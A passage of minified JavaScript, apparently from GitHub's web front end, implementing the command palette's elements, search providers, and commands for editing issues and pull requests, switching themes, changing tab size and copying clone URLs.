this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new 